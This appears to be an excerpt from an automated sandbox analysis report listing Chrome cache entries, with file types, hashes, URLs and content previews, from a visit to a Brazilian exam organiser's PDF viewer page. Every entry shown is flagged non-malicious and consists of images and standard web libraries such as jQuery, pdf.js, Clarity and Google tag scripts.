Preview:	.PNG........IHDR..............,.....acTL........L.-.....fcTL.....................d....3.G....,IDATx.RM..a......D.-I..:x.6..bKK.D...mK.....A..=...N.7..!..@0.....(......3A..w@..z^...K{..}.y...}.q0.[.G.....{.w....8..e..26.ag'6(..kH.j....S.u...Ok....L..s.....tt:...?..r..~.4.._Qq.P...s.,/>.tFEy0..f..A.m.Z@x....].\|~=...ej...Ml.L&2...1.....K\|.".A.S.V..XU.@4.}@.<..r.\|..v.B..0.^..J2.\s8.7...:......;.^.9m.......;B..A.&6.....T...~e.]0.j..t...>B..;9......>..Z....@......+^..#6zB...`..a#.RIN$....4.d........Zc$.y(....v..Z.6G.D........I.V....u.3..66..p......'.b.\|.\..0.\.e.5.(.}.G.k...b~4..r.K....x..I.X.J{{.....&O....1+~.O...@.P....fcTL.....................d..........+fdAT....x.RAh.A.].EXP....%.A..VD.....Hl.=X..f%xj.$..P.`..rH.RP...=..CA6.[.!d.b.6.nh.Iv..q..c..?...g...1.<............[ ..w>......8.V.o..z.&.k.m.a=......N....z...W..v{.Tj4......._.V.....h.3....(....3<.0....W...l......t:}..qB........T..n.P.....L&.=..[...f....( .....7(.,%.H.Q...........

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 19, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	281
Entropy (8bit):	6.917762951111158
Encrypted:	false
SSDEEP:	6:6v/lhP/70wE1VfBbk5r4rMs9UwkuG/dv1Dyeesd6a9smJSKlljp:6v/7nUVfBbSMrM0UwkJl1FT/N
MD5:	B75510A9E44D904D029D6E01260E17C4
SHA1:	81D5BEFA4B7F2CB96861608D062E7BEB7B632DCD
SHA-256:	2594A476E99973C0961D00E599AC0ACE373BD5B16CF86E1E3F1BA7C5DD7FF200
SHA-512:	85858E6AEA616C273E427AA1267E5193A04F9427D7D07C4C886D118BD00FD725F447FBEA452C690041A87165F2D7215C5A3D469E22D2ADEFAB458B3D04CFDEA0
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/shadow.png
Preview:	.PNG........IHDR..............Y.G....IDATx.]...0.D.].........:.F.....A...E..u0V..z+....&..'._.H.Ud.....%.+...o..Y..-....RH&...pWU&.PL.s...I..*.&6..&A.I..1.{3.9..N...d.C.tN.U.....u'0H.b...w..a....tu.<^..y.A(..d.r.HO...N..4s...."Fb"._`fht...I+.^~./....nH...(....IEND.B`.

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12331)
Category:	downloaded
Size (bytes):	12332
Entropy (8bit):	5.0916439525688215
Encrypted:	false
SSDEEP:	192:3dArCS2Z+j/yQ9TCQxUhW2DPY808LE676SbHDc/7uN0VZG05w:NHSG+j/y2xa3bn7Q+0a0O
MD5:	88A769D2FE35899FD45A332A0A032CC0
SHA1:	514C6C1D8475D17E412849A4C90159517D0FA10A
SHA-256:	CCF00D1923B0131A10E0C6D26F95E5DEE6EBF8621A27E83C5A2F68A2E0093142
SHA-512:	756CC5CD029FC4ADC9100D0DA2F2B0EFB3DF0F2BF894FBA2824019832FEA594EDD40A238A5FFACC205572CC0155F5632D70F54E37EDC0772460F44C69CB76AB8
Malicious:	false
URL:	https://www.quadrix.org.br/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js
Preview:	!function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}function n(t,e){var n=e.parentNode;n&&h(t,n,e)}function r(t,e){h(t,e,e.childNodes[0])}function o(t){var e=t.parentNode;e&&e.removeChild(t)}function i(t){var e=t.namespaceURI===A?"xlink:href":"src";return t.getAttribute(e)}function a(t,e){var n=t.type.substr(e.length);return!(n&&!E[n.trim()])&&((!k\|\|!t.hasAttribute("nomodule"))&&!(!k&&"module"===n))}function c(t){return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"),e.textContent=t.textContent;for(var n=0;n<t.attributes.length;n++){var r=t.attributes[n];try{r.namespaceURI?e.setAttributeNS(r.namespace

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3836)
Category:	downloaded
Size (bytes):	228114
Entropy (8bit):	5.404105185419051
Encrypted:	false
SSDEEP:	6144:1UQu+eAK8A2+0VuVUe70KtLUaqDVadwCKDAmtBc30Z4axzy1:CQ/eB2IVqCa1uIy1
MD5:	CD59A7FC015BBCF1073627D487473CF2
SHA1:	1B0608945D876DF1905B1325E03FF2F7B0D07D70
SHA-256:	CE614C17F4FCCE49F96A6B0DCE2DB2FB5C22E97A5EA76D74727742C2B2911375
SHA-512:	FB7EE8FB4A6F9913A55B9740241DD684A480CD2694FB387CEFDA6AA7A48C5F94C5980C71AAD92DAC16B1065B07C5F1F83BD912F3CEB896092A6FCB5E81943F80
Malicious:	false
URL:	https://www.quadrix.org.br/build/pdf.js
Preview:	(function(root,factory){'use strict';if(typeof define==='function'&&define.amd){define('pdfjs-dist/build/pdf',['exports'],factory);}else if(typeof exports!=='undefined'){factory(exports);}else{factory((root.pdfjsDistBuildPdf={}));}}(this,function(exports){'use strict';var pdfjsVersion='1.5.500';var pdfjsBuild='d2a4974';var pdfjsFilePath=typeof document!=='undefined'&&document.currentScript?document.currentScript.src:null;var pdfjsLibs={};(function pdfjsWrapper(){(function(root,factory){{factory((root.pdfjsSharedUtil={}));}}(this,function(exports){var globalScope=(typeof window!=='undefined')?window:(typeof global!=='undefined')?global:(typeof self!=='undefined')?self:this;var FONT_IDENTITY_MATRIX=[0.001,0,0,0.001,0,0];var TextRenderingMode={FILL:0,STROKE:1,FILL_STROKE:2,INVISIBLE:3,FILL_ADD_TO_PATH:4,STROKE_ADD_TO_PATH:5,FILL_STROKE_ADD_TO_PATH:6,ADD_TO_PATH:7,FILL_STROKE_MASK:3,ADD_TO_PATH_FLAG:4};var ImageKind={GRAYSCALE_1BPP:1,RGB_24BPP:2,RGBA_32BPP:3};var AnnotationType={TEXT:1,LIN

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	228
Entropy (8bit):	6.632698892400211
Encrypted:	false
SSDEEP:	6:6v/lhPO6/xNHtFkjrqGN1vn9ZcoorDo6Y5p:6v/7PtF0hBnERX+
MD5:	2EA6705576FE356905AC45EFDE033F92
SHA1:	D2A3B48264261A7799CB452C22746B8B049992E0
SHA-256:	D4F52788ED0F93EF168D1874A697AC36659BD96D743D16CA9822E267965A0052
SHA-512:	60B9D3454D020A666071E65BDBBE6A60B42A71A6D50621630E2B8DC0D7306826E9F37D3BFCA330BC4C3A0E07857BD0ACD02230EA1D3BCACE534E48DAFC92B53D
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-pageDown.png
Preview:	.PNG........IHDR...............7.....IDATx..1..@.E..O...w..x.."z .XB ....A....AQ......B.bv.6...u....1t1A...s..E...1...p....:.... ..!....z81.X.{.B.q.2.......Za...2.U..K..m.2..).G.G1.5:f.&.2d:b.'RK....?...I6.......IEND.B`.

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 19, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	281
Entropy (8bit):	6.917762951111158
Encrypted:	false
SSDEEP:	6:6v/lhP/70wE1VfBbk5r4rMs9UwkuG/dv1Dyeesd6a9smJSKlljp:6v/7nUVfBbSMrM0UwkJl1FT/N
MD5:	B75510A9E44D904D029D6E01260E17C4
SHA1:	81D5BEFA4B7F2CB96861608D062E7BEB7B632DCD
SHA-256:	2594A476E99973C0961D00E599AC0ACE373BD5B16CF86E1E3F1BA7C5DD7FF200
SHA-512:	85858E6AEA616C273E427AA1267E5193A04F9427D7D07C4C886D118BD00FD725F447FBEA452C690041A87165F2D7215C5A3D469E22D2ADEFAB458B3D04CFDEA0
Malicious:	false
Preview:	.PNG........IHDR..............Y.G....IDATx.]...0.D.].........:.F.....A...E..u0V..z+....&..'._.H.Ud.....%.+...o..Y..-....RH&...pWU&.PL.s...I..*.&6..&A.I..1.{3.9..N...d.C.tN.U.....u'0H.b...w..a....tu.<^..y.A(..d.r.HO...N..4s...."Fb"._`fht...I+.^~./....nH...(....IEND.B`.

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	5614
Entropy (8bit):	4.058476807781534
Encrypted:	false
SSDEEP:	96:VoQuTa5cSXznhDREFqJrKFJVA9cUbuIroPtdvFPk7ZNzr2n2RCsC2jiiJyttOXBm:yQuScSjnhDWMJeFYTbSt+7ZNnUmGbtUQ
MD5:	F50EB8E7D6CC2367619F72559F258B16
SHA1:	F4F7AB0BA4218CFA39078403A990490F84880416
SHA-256:	EB8C9CFC18A5612C8636E1C773111C27FB69865A9C3F9A37A6E265E095C1188D
SHA-512:	F637C3E969CCAFD75B0F328BBFBF8AC7F88C3DD0038043BB485A994CF9372235DA05C58B0A1E6A81CD9BE8625F67E2EAEFB93CE8F9D2D9005FE0EF8377C17108
Malicious:	false
Preview:	<svg width="40" height="40" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="40" height="40" rx="8" fill="url(#paint0_linear_529_95)"/>..<path fill-rule="evenodd" clip-rule="evenodd" d="M14.3515 8.00885C14.2659 8.02229 14.0952 8.12725 13.9722 8.24213C13.7501 8.44966 13.7489 8.4543 13.7954 8.95863C13.8212 9.23785 13.873 9.84616 13.9104 10.3105C14.2022 13.9301 14.2501 15.014 14.1218 15.0933C13.906 15.2267 13.787 15.0254 11.7744 11.1229C11.0845 9.7851 10.953 9.64412 10.5264 9.78488C9.84976 10.0082 9.90301 10.3457 10.984 12.685C11.1227 12.9851 11.2361 13.2431 11.2361 13.2584C11.2361 13.2738 11.3578 13.5507 11.5068 13.8737C12.3139 15.6253 12.5242 16.3377 12.2637 16.4377C12.0791 16.5085 11.7503 16.3324 11.48 16.0181C11.3425 15.8582 11.1733 15.664 11.1041 15.5866C11.0348 15.5093 10.8383 15.2718 10.6674 15.059C10.4965 14.8462 10.3404 14.6563 10.3205 14.6369C10.3006 14.6176 9.97505 14.2328 9.59714 13.7818C9.21915 13.3308 8.86093 12.943 8.80099 12.92C8.45635 12.7

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1359)
Category:	downloaded
Size (bytes):	13774
Entropy (8bit):	5.341370961374901
Encrypted:	false
SSDEEP:	384:JLJjxnaZMXfAYXg/84G5+hiJ10PYVz4O6O1aNObdIJT5pSbuJzZ5w/:JLxYyXbIPYR4O6O6QdIJtQp/
MD5:	41A5A2EF6DE9EDF9F69706697E0978EE
SHA1:	5168D14BCA9CD7DFC7AEAC7CB61BD46A17EA4FF5
SHA-256:	7EF0676A756CF26EA93C9186AC3809A3C34B11B421A5B76E3F9F05A9A009B2C9
SHA-512:	CBA03F3EE4EC35E020661C3D6DFDC805992532D12DA75DBCF7AF24B42D13EDF1A53EBC80AB95FA59D8929B3CB86D4E3B724B3C363C2EED8C170A7919556FD61F
Malicious:	false
URL:	https://www.quadrix.org.br/web/l10n.js
Preview:	'use strict';document.webL10n=(function(window,document,undefined){var gL10nData={};var gTextData='';var gTextProp='textContent';var gLanguage='';var gMacros={};var gReadyState='loading';var gAsyncResourceLoading=true;function getL10nResourceLinks(){return document.querySelectorAll('link[type="application/l10n"]');}.function getL10nDictionary(){var script=document.querySelector('script[type="application/l10n"]');return script?JSON.parse(script.innerHTML):null;}.function getTranslatableChildren(element){return element?element.querySelectorAll('*[data-l10n-id]'):[];}.function getL10nAttributes(element){if(!element).return{};var l10nId=element.getAttribute('data-l10n-id');var l10nArgs=element.getAttribute('data-l10n-args');var args={};if(l10nArgs){try{args=JSON.parse(l10nArgs);}catch(e){console.warn('could not parse arguments for #'+l10nId);}}.return{id:l10nId,args:args};}.function fireL10nReadyEvent(lang){var evtObject=document.createEvent('Event');evtObject.initEvent('localized',true,fa

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	320
Entropy (8bit):	6.855362434439795
Encrypted:	false
SSDEEP:	6:6v/lhPO6kiOaiVA0fOfHialPl4OaXVO2IVhOVwDV40iNkhdgJJkldp:6v/7PkioVhQiuPiOqVP9WDKhod0sz
MD5:	1B85627C7F1269D73A0434A9ACC7D38E
SHA1:	E0688579041DDC31EA08B943117A540C80BBAE7E
SHA-256:	AE0F92C4E5900ED69110463259A88D1D50E74334080CE5ED43388662C289EAB4
SHA-512:	20B0ACA31C2853BF48AF6B82C89F6413F8CD940946402D7E9E8E779F7EA9B4F66896BDBDA72FD631469B9DA5694195470F81BB7865E58C1C33A9052B3C498299
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c .....up.:....../.eP..Q.8.".Q....../.7.....(.......?.w...,.o..G_N^....X....*nN.....#.........!...@........A......f.. .+P..d..$........B.R. ..k._......o.P.H.,p...U..\|.....h.........._.(8......6..C..j..~...@....A.L3..YO7@D!... PG2.U..OAD!\|.(... ..c.............IEND.B`.

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	229
Entropy (8bit):	6.8348918364839255
Encrypted:	false
SSDEEP:	6:6v/lhPO6TB8gyD7hntU1OxFQUL33z25W4XQGo+xj79NY9eup:6v/7Ptehna1AzCfQIs9ec
MD5:	6D6B9096E3FC4842FCBA6F29271F0F1B
SHA1:	638A331655F3CC00EAE1BBAC3C7771561D0AB2FE
SHA-256:	985A9A67E5059FC30EB1DD363431946AE34127EFCE55C0F999FC98702E7F2733
SHA-512:	A1277E689C2C666DCF377ACE25992D69537CA817F617D63E60F6690812A96031390F2972BCC98C1076DA463B046737D4C405710135830E27CE188F867BEC7170
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-secondaryToolbarToggle.png
Preview:	.PNG........IHDR...............7.....IDATx....a......(..n.d0..kv..l....A.."E.A.+.J)...[..g..wy.g{...h.....Y....\...,......5..S..3...E.....=#...........g..e.&..uv..V.."...`...%....+.N+^P..x(U....O}....+...J....IEND.B`.

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32056)
Category:	downloaded
Size (bytes):	93057
Entropy (8bit):	5.300945039751526
Encrypted:	false
SSDEEP:	1536:O4TCgi8RzmZFX38J+L0kJQsYb+5k/QRZdC/RtfDwnv+p0WzH/IoSE7qABZnu0sFv:O4AkTtU2p0WPSIDrstfam
MD5:	2C348A8A373A2E0DC0F8D9CF2C87DFE1
SHA1:	EA6A7187A45F95AED8759C468904D16A052B6160
SHA-256:	8BF150F6B29D6C9337DE6C945A8F63C929B203442040688878BC2753FE13E007
SHA-512:	787EBE399BAFFA77673D3C7355F8A7FA58B43D72B16F08B5816587DB1AA69639537CEDC974195C71993059DD1971602D0D3BECAA7B71D5B6D54A45B31D4B5F41
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js
Preview:	/! jQuery v1.10.1 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./.(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.1",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:\s(<[\w\W]+>)[^>]\|#([\w-]))$/,k=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,E=/^[\],:{}\s]$/,S=/(?:^\|:\|,)(?:\s\[)+/g,A=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener\|\|"load"===e.type\|\|"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q)

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	206
Entropy (8bit):	6.4104051311612364
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtwsZwHdJTVxGxs0RpT7cYM1h7Lmm0uZzzKQY5ZPKJF0Rl1:6v/lhPO6XubusGfcY0hXZvKjKL0Aenjp
MD5:	76C51C4B7D0611C93965B1AFA448BF92
SHA1:	C73D0FDE7EDAA0F1F3A66FA5EFB6BAED6D836535
SHA-256:	DB791DB58CA983CED4A8E761EDF47D8610432F230F7982C1B0A685A66F82A529
SHA-512:	F180A2B37EA7EACA0597E2BB1D7D7716F8F76799E18397E87EBC50ACEC60BAD100AB010787A05E3AFFED2566940FC44D7D898ED53151E8176F8BBB564638403C
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c .............'8.3..G....RYUY......6...!....p-../.>@...$.Qp..}.......L@.. .......(...`.....@M+..M.o.7..a ...*...b.....+x...A.....i...8.........\.......IEND.B`.

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	dropped
Size (bytes):	2536
Entropy (8bit):	7.130550282727932
Encrypted:	false
SSDEEP:	48:HHOxP7phJN9S688sDuJz7L2tlXNLMfZHGJ8:HHGPvJN9BzsUavdLMM8
MD5:	E3B20A66ACC22AB63A12B12600F4F526
SHA1:	D3C9CE33A5B2AD35DDF27C993552A95456531896
SHA-256:	1073E34B6E5E5FA770876ECC0E918ECEB9DFC8CC54AD6A3DD4FC451983F9C95F
SHA-512:	4A8BA3D816700E52CEFE34D001DFF0155FE4D5A463B8C451B64671BE2026F7CADEC5A2F7CA085EA302B83B9737D6FD254A4D41BE5DC8674CCBAE411113B3BD12
Malicious:	false
Preview:	GIF89a.....................................vvv......hhh................................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,........... $.$.8eZ...4d......3..<...@.....H.8.a..`.:....I$ .F.B.`LxG.3.......O:-....RJ...TJ..........t...........~."...ds]......)t...-"...i;H>.n.Qg]_......R.3.....GI?.....v$...j3!.!.......,........... $.$.(eZ..Y.$..#Q.#...W...!.;..PH.^.C. ......x4H3.......k..^..a..p..i...Dp.P@y.w`.J..#.....?..y........o...g.....f....'8..{..'C.p`j.n."...2.{.`x...jy.4...C,.4..o#n.$.....!.!.......,........... $.$d.eZ..y.$..#q.cQ..... ....p.88D/(C...G...Z0v#..0. D....A...N.(+.@..x....(@...gUx.kK.).....?K...............$..."...........K.....W......x..?.G...#.W....n.h.K,.....+.....!.!.......,........... $.$..eZ..9....#1 .q.F...O'.....b... .... )...dQ.d".B!.....V.h0p..4.(0.M...@....e.3@.iI.)..'.?I.........@.......,.....#.........5..,.....".E..z...?..@.E...@.....).....*!.!.......,........... $.$. e.....B..."..0..;...('"...

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	229
Entropy (8bit):	6.8348918364839255
Encrypted:	false
SSDEEP:	6:6v/lhPO6TB8gyD7hntU1OxFQUL33z25W4XQGo+xj79NY9eup:6v/7Ptehna1AzCfQIs9ec
MD5:	6D6B9096E3FC4842FCBA6F29271F0F1B
SHA1:	638A331655F3CC00EAE1BBAC3C7771561D0AB2FE
SHA-256:	985A9A67E5059FC30EB1DD363431946AE34127EFCE55C0F999FC98702E7F2733
SHA-512:	A1277E689C2C666DCF377ACE25992D69537CA817F617D63E60F6690812A96031390F2972BCC98C1076DA463B046737D4C405710135830E27CE188F867BEC7170
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx....a......(..n.d0..kv..l....A.."E.A.+.J)...[..g..wy.g{...h.....Y....\...,......5..S..3...E.....=#...........g..e.&..uv..V.."...`...%....+.N+^P..x(U....O}....+...J....IEND.B`.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	250
Entropy (8bit):	6.825119702118171
Encrypted:	false
SSDEEP:	6:6v/lhPO6xdzEBvztEiBocmPsuvhjI1CfPKeup:6v/7PrYBrtZnWsuvhjbc
MD5:	18292B9234A01EF9672A52D648F2A42B
SHA1:	A87F8BDD390BC51EF463088C0E9B936E19451054
SHA-256:	148415F46BDFACE10CFC6CDC5FFE16E55EFE4F559854342E30A002DD5FAD917B
SHA-512:	796186E490984B2C8B2BD3EA0D113A92F43815F7E8560C3E0F7D485BAA7779722FB1DDCEB244D9C157A550844595C780F8B05B38799E103CAE031C972430542A
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-print.png
Preview:	.PNG........IHDR...............7.....IDATx....P......V......]BC.GDW.....XC.........$....NOG.}......>...+?.7....P...>3D...C^.K..*1`X.>}...##..."..-...y......Cg<.....m...z..xo.dO.f..6P%o..=9.]...z..zDk1.B.Y..m>..F.EQ..F...w6.S......IEND.B`.

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (62300), with CRLF line terminators
Category:	downloaded
Size (bytes):	62397
Entropy (8bit):	5.350884702903751
Encrypted:	false
SSDEEP:	768:9Ijne57zoxJa28mpUG5YTMbLpPuB8++KX5wZUZJjK1qED0F4ztva+tZW:qjetzoxJaVQC+KJwZUj0iOW
MD5:	B31E76D22DA4399DB4B8C8ECCD35DC2B
SHA1:	B36D4554849D3F05DF0363366BE9133D35EACA98
SHA-256:	5BA7B351020430E304E1C38988858E13690202831484697551E56FED5826004E
SHA-512:	DE2A305DC568D53CA6961D0C9E9FF4497A9A7FE462620417DB3F7ABB2FD508E3729C5090A1119A0DF7DA998AE7C9BF6BB140838681AFCAD493848187BDB9A312
Malicious:	false
URL:	https://www.clarity.ms/s/0.7.32/clarity.js
Preview:	/* clarity-js v0.7.32: https://github.com/microsoft/clarity (License: MIT) */..!function(){"use strict";var t=Object.freeze({__proto__:null,get queue(){return Fa},get start(){return Ua},get stop(){return Va},get track(){return Pa}}),e=Object.freeze({__proto__:null,get clone(){return hr},get compute(){return pr},get data(){return ir},get keys(){return or},get reset(){return vr},get start(){return dr},get stop(){return mr},get trigger(){return fr},get update(){return gr}}),n=Object.freeze({__proto__:null,get check(){return Or},get compute(){return Tr},get data(){return rr},get start(){return Er},get stop(){return Sr},get trigger(){return Nr}}),a=Object.freeze({__proto__:null,get compute(){return Dr},get data(){return xr},get log(){return Cr},get reset(){return Ar},get start(){return _r},get stop(){return Ir},get updates(){return Mr}}),r=Object.freeze({__proto__:null,get callbacks(){return Rr},get clear(){return qr},get consent(){return Yr},get data(){return jr},get electron(){return Lr},

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
URL:	https://td.doubleclick.net/td/rul/341894994?random=1715325658495&cv=11&fst=1715325658495&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&ct_cookie_present=0
Preview:	<html></html>

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 7 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	103
Entropy (8bit):	5.417537183452763
Encrypted:	false
SSDEEP:	3:yionv//thPlyvtJP9lxSfCRfeaCzniXybcekCXXg1p:6v/lhPwXlgCyX+p
MD5:	B79C13C3BF6B349B79DAA9D6DBD3F67D
SHA1:	E46A64BD35AB488DA87933C65DE0CFDB0FC40E3B
SHA-256:	C74F3BF3B679D25FC18D11403A3BFFB898F1CCA4D06BE4340760EA6B528B4606
SHA-512:	A582152B535595BB1A40C4B1315153F80BF3873EB5053C79FC80D7D7BF7ABEBA151339C5922634F11349B140D411FFB309E6BD357F88C6A6880D2896A2DD3790
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-menuArrows.png
Preview:	.PNG........IHDR.............p..{....IDATx.c.......??......g@.....r@p.~3..c....R.....'..}......IEND.B`.

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4179)
Category:	downloaded
Size (bytes):	234336
Entropy (8bit):	5.536204055068952
Encrypted:	false
SSDEEP:	3072:J0vWuawx8nxZ8uzmjB81z+8w3Jr9PY64V7m/HiGK2/ifxtgPZ/Tbjt:6eFnxSuzvvWrpamPiGK2/iJubZ
MD5:	FE5E95D9AF7CEAB0398E853F6D006A1E
SHA1:	74DE41D5B986BD080F2CCFBD6A7F816BB46FCD68
SHA-256:	347A1EE433D13A0498A3CF330D72EE0FF672A96B415DF478C130E05B69567A0C
SHA-512:	2EEA08EC6D0CD6229F2F205E166A3D93C33C58F449CE0A11DF3068DB6BAD33929CD18241D609BF20401C4945DCD48249F51FE16CF2CF1C244D74A91EEBCF8EAB
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/destination?id=AW-341894994&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__ogt_ads_datatos","priority":13,"vtp_instanceDestinationId":"AW-341894994","tag_id":7},{"function":"__ogt_1p_data_v2","priority":3,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":true,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_isEnabled":true,"vtp_autoAddressEnabled":true,"vtp_regionV

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	168
Entropy (8bit):	6.311338400487053
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtKsyxKeEdyxxVgE5k9/8v81DwrBNHcV9A2GjzJ/34t83c9:6v/lhPO6reEwxxl50/8hE9Gz6tVp
MD5:	F8083410D4C36CB0F2A4EE54AC7B4826
SHA1:	5EE6F18DFDACF56039619988BEB8BD1FACA88B6A
SHA-256:	59AA96C1EE3FE2367032B4979EC22BFC1E83E80BB3BA5FE31600655DC6B0955D
